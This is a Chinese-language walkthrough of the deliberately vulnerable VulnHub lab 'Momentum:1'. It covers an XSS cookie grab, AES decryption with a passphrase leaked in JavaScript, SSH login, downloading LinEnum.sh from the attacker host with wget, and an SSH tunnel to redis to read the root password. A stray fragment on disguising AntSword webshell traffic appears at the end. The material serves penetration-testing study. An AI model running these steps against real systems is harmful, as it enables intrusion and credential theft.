vulnhub: Momentum:1
介绍:
momentum:1模拟了一台带有漏洞的web服务器,于四月份在vulnhub和hackmyvm上架,涉及到的漏洞点有:敏感信息泄露、redis配置疏漏导致的数据库远程登录等,学习一下相关漏洞,并在本文记录一下渗透过程。
网络结构:
环境搭建平台为VMware15,使用VirtualBox亦可,网络为nat模式,网段192.168.1.0/24,开启dhcp服务,靶机自动获取ip地址
网络由攻击机kali、靶机Momentum:1组成
靶机ip:192.168.1.167
kali linux ip:192.168.1.137
靶机获取:https://download.vulnhub.com/momentum/Momentum.ova
信息收集:
主机发现:
nmap -sP 192.168.1.0/24
如图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.167
访问ip192.168.1.167,来到网站主页,网站展示了一些雕塑图片
点开一个,进去会跳转到一个详细信息之类的页面opus-details.php,第一眼看到url里面这个参数id,想到了注入,一会可以试试,先放置
端口扫描:
扫描一下主机的端口开放
可以看到,目标主机除了开放80端口之外,还开放了22端口允许ssh连接
目录扫描:
dirsearch扫描一下网站目录
漏洞挖掘及利用:
dirsearch扫出了一部分页面,依次访问下看看能不能发现什么漏洞点
/css放置了一个样式表style.css,内容正常,除此之外没有发现别的文件
/img里放置了主页里的四张图片
访问/manual会跳转到apache的说明文档,如下图
还剩一个/js目录,打开之后给出了一个main.js
点开看下
可以看到里面有个重定向链接opus-details.php?id=,后面拼接了个参数str,这不就是刚刚主页点击图片跳转的那个页面吗,到index右键看一下源代码,确实是使用了这个main.js执行了重定向
回到opus-details.php,发现拼接不存在的参数时会直接打印出来
尝试了RCE和sql注入,未果,尝试xss可以拿到一个cookie值,很明显是个加密值
U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt
回到main.js,继续往下看,代码还有一段注释
var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
console.log(decrypted.toString(CryptoJS.enc.Utf8));
很明显是个AES加密,后面还给出了密码参数值SecretPassphraseMomentum,只是不知道对什么进行了加密,有可能会是刚刚拿到的cookie,可以试一下
上图是一个在线解密:https://www.browserling.com/tools/aes-decrypt,可以看到,成功解出明文
auxerre-alienum##
很像是一个用户名-密码对,结合靶机开放了ssh,可以尝试登录一下
使用用户名auxerre,密码alienum##,登录失败,多次尝试后,发现整个auxerre-alienum##为auxerre的密码
登录成功
权限提升:
在本地搭建一个http服务,然后在靶机端下载一个LinEnum.sh,这是一个本地信息收集脚本,LinEnum.sh是一个本地信息收集脚本,可以收集包括运行进程、内核版本、suid文件等各种信息
python3 -m http.server 8001
靶机端下载
wget http://192.168.1.137:8001/LinEnum.sh
添加权限,运行,将运行结果保存到1.txt
查看1.txt,内核版本很高,suid文件中也没有看到可疑文件
继续向下找,看一下端口占用信息
这里可以看到有一个本地6379端口处于listen状态,数据库redis的默认端口就是6379
aux查看一下占用进程
ps aux | grep 127.0.0.1
如上图,可以看到占用6379端口的正是redis
本地登录下试试,显示未找到命令,可能未安装客户端,或没有给当前用户权限
但我们可以尝试利用ssh远程连接6379端口,然后在kali端登录,这里kali同样使用6379端口
ssh -L 6379:127.0.0.1:6379 [email protected]
nmap看一下自己的6379端口,可以看到,已经连接上了,redis服务
nmap -p 6379 -A 127.0.0.1 -T4
kali端登录,登录成功
redis-cli -h 127.0.0.1 -p 6379
查看一下数据库内存储的键(redis是非关系型数据库,数据是以键-值对的形式进行存储,没有传统的表)
可以看到一个rootpass键,这个名字看着就与root用户有关
查看键,给出了一个和之前那个用户很像的密码,很可能是root密码
我们试一下,成功提权至root
查看flag
流量分析 挂个代理直接抓包就好了 UA头修改 修改蚁剑工作目录的/modules/request.js,这里面默认是antSword/v2.1 一般需要修改一下,不然极其容易被发现,可以利用平常爬虫的一些技巧,随机构造UA头 ``` let USER_AGEN…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论